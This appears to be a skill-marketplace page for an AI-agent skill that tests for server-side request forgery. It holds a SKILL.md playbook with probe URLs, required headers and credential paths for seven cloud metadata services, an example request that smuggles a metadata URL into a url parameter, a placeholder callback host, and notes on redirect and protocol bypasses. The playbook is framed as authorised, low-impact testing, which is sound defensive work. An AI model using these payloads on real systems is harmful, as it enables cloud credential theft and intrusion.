Codex 또는 Claude로 설치 이 Prompt를 복사해 Codex, Claude 또는 다른 어시스턴트에 붙여 넣으면 Skill 페이지를 검토하고 설치를 진행할 수 있습니다.
직접 명령은 검토 Prompt를 거치지 않습니다. 실행하기 전에 소스를 확인하세요.
npx skills add https://github.com/cdxiaodong/cain-agent --skill ssrf명령은 한 줄로 유지됩니다. 복사하기 전에 가로로 스크롤해 전체 내용을 확인하세요.
로컬 사본을 원하시나요? SkillsMP에서 현재 제공할 수 있는 파일을 다운로드하세요.
XSS 测试技能 —— 面向真实业务系统,区分渲染上下文(HTML/属性/JS/CSS/URL),覆盖存储型/反射型/DOM 型,对抗 CSP 与输入过滤,产出可复现 PoC
SOC 직업 분류 기준
SKILL.md 표시 중
| name | ssrf |
| description | SSRF 测试技能,覆盖盲 SSRF、内网可达性与七类主流云元数据服务的低影响验证 |
| phase | test |
| severity_focus | high |
仅用于书面授权的安全测试。目标是用最少请求证明服务端出站能力及其安全影响;元数据响应中的凭证、令牌和证书只记录类型与哈希,不保存或使用原文。
url、target、src、image_url、callback 或 webhook_url 等参数会触发服务端请求。https://callback.example.com/ssrf/<nonce>。先用无敏感信息的元数据路径确认云厂商和实例身份,再请求角色名称。只有取得角色名称且授权允许时,才对凭证路径发起一次验证请求。客户端不能设置必需请求头、HTTP 方法或 IMDSv2 token 时,应记录“防护生效”,不得宣称可读取凭证。
| 云平台 | 探测 Payload / 必需条件 | 凭证或身份路径 | 预期响应与确认标准 |
|---|---|---|---|
| AWS | http://169.254.169.254/latest/meta-data/instance-id;IMDSv2 先向 /latest/api/token 发送 PUT,请求头 X-aws-ec2-metadata-token-ttl-seconds: 60 | /latest/meta-data/iam/security-credentials/,再追加返回的角色名;IMDSv2 请求须带 X-aws-ec2-metadata-token | 实例 ID 通常以 i- 开头;角色列表为文本;凭证 JSON 含 AccessKeyId、SecretAccessKey、Token、Expiration。仅 IMDSv1 可读不代表 IMDSv2 可绕过。 |
| Azure | http://169.254.169.254/metadata/instance?api-version=2021-02-01,请求头 Metadata: true | /metadata/identity/oauth2/token?api-version=2018-02-01&resource=https%3A%2F%2Fmanagement.azure.com%2F | 实例响应 JSON 含 compute、network;托管身份响应含 access_token、expires_in、resource。缺少 Metadata: true 时的拒绝响应不是漏洞确认。 |
| GCP | http://metadata.google.internal/computeMetadata/v1/instance/id,请求头 Metadata-Flavor: Google;也可使用链路本地地址 169.254.169.254 | /computeMetadata/v1/instance/service-accounts/default/token | 实例 ID 为文本;令牌响应 JSON 含 access_token、expires_in、token_type,且响应头通常含 Metadata-Flavor: Google。无法注入必需请求头时不得判定可取令牌。 |
| 阿里云 | http://100.100.100.200/latest/meta-data/instance-id;加固实例先向 /latest/api/token 发送 PUT,请求头 X-aliyun-ecs-metadata-token-ttl-seconds: 60 | /latest/meta-data/ram/security-credentials/,再追加角色名;加固模式带 X-aliyun-ecs-metadata-token | 实例 ID 为文本;角色列表为文本;凭证 JSON 常含 AccessKeyId、AccessKeySecret、SecurityToken、Expiration。应分别记录旧模式与 token 模式结果。 |
| 腾讯云 | http://metadata.tencentyun.com/latest/meta-data/instance-id,解析地址通常为 169.254.0.23 | /latest/meta-data/cam/security-credentials/,再追加角色名 | 实例 ID 与角色名为文本;角色凭证 JSON 含 TmpSecretId、TmpSecretKey、Token、ExpiredTime。只允许访问链路本地元数据主机,不探测相邻地址。 |
| 华为云 | http://169.254.169.254/openstack/latest/meta_data.json | /openstack/latest/securitykey | 实例元数据 JSON 含 uuid、name 等字段;临时安全凭证响应包含 access、secret、securitytoken。若服务返回空值或拒绝,记录实际状态,不重复轰炸。 |
| Oracle Cloud | http://169.254.169.254/opc/v2/instance/,请求头 Authorization: Bearer Oracle | /opc/v2/identity/ 下的实例主体材料,仅验证条目是否存在 | 实例响应 JSON 含 id、compartmentId、region;身份目录可能列出证书、私钥或中间证书条目。不得下载私钥或使用实例主体访问云 API。 |
以下为“将目标 URL 作为参数传给已确认的 SSRF 入口”的抽象示例,app.example.com 是合成域名:
GET /fetch?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Finstance-id HTTP/1.1
Host: app.example.com
若入口支持自定义请求头,分别验证 Azure 的 Metadata: true、GCP 的 Metadata-Flavor: Google、Oracle 的 Authorization: Bearer Oracle 以及 AWS/阿里云 token 头。不要把浏览器直连元数据端点的结果当作 SSRF 证据。
盲 SSRF 无正文回显时,先以 callback.example.com 的 OOB 记录确认服务端请求。元数据服务不会对公网 OOB 回连,因此仅凭 DNS 回连只能确认 SSRF,不能确认元数据可达;需结合代理返回的状态、长度、稳定时序或授权的响应摘录。
302 到授权内网目标,确认每一跳是否重新执行地址校验。file、gopher 或 dict,只证明协议可达,不发送写入、持久化或破坏性指令。验证链路为:SSRF 入口 → 链路本地元数据 → 实例/角色身份 → 短期凭证存在性 → 只读权限评估 → 潜在提权路径。
可读取普通实例元数据通常不足以单独定为 critical。能够读取短期凭证且离线证据证明其具有高权限或明确提权路径时,才考虑 critical;否则按已验证的数据暴露和网络边界影响定级。
{
"type": "ssrf",
"severity": "high",
"endpoint": "https://app.example.com/fetch",
"cloud": "synthetic-cloud-label",
"metadata_reachable": true,
"credential_fields_observed": ["access_key_id", "session_token", "expiration"],
"credential_value_sha256": "<redacted-hash>",
"privilege_escalation": "offline-policy-evidence-required"
}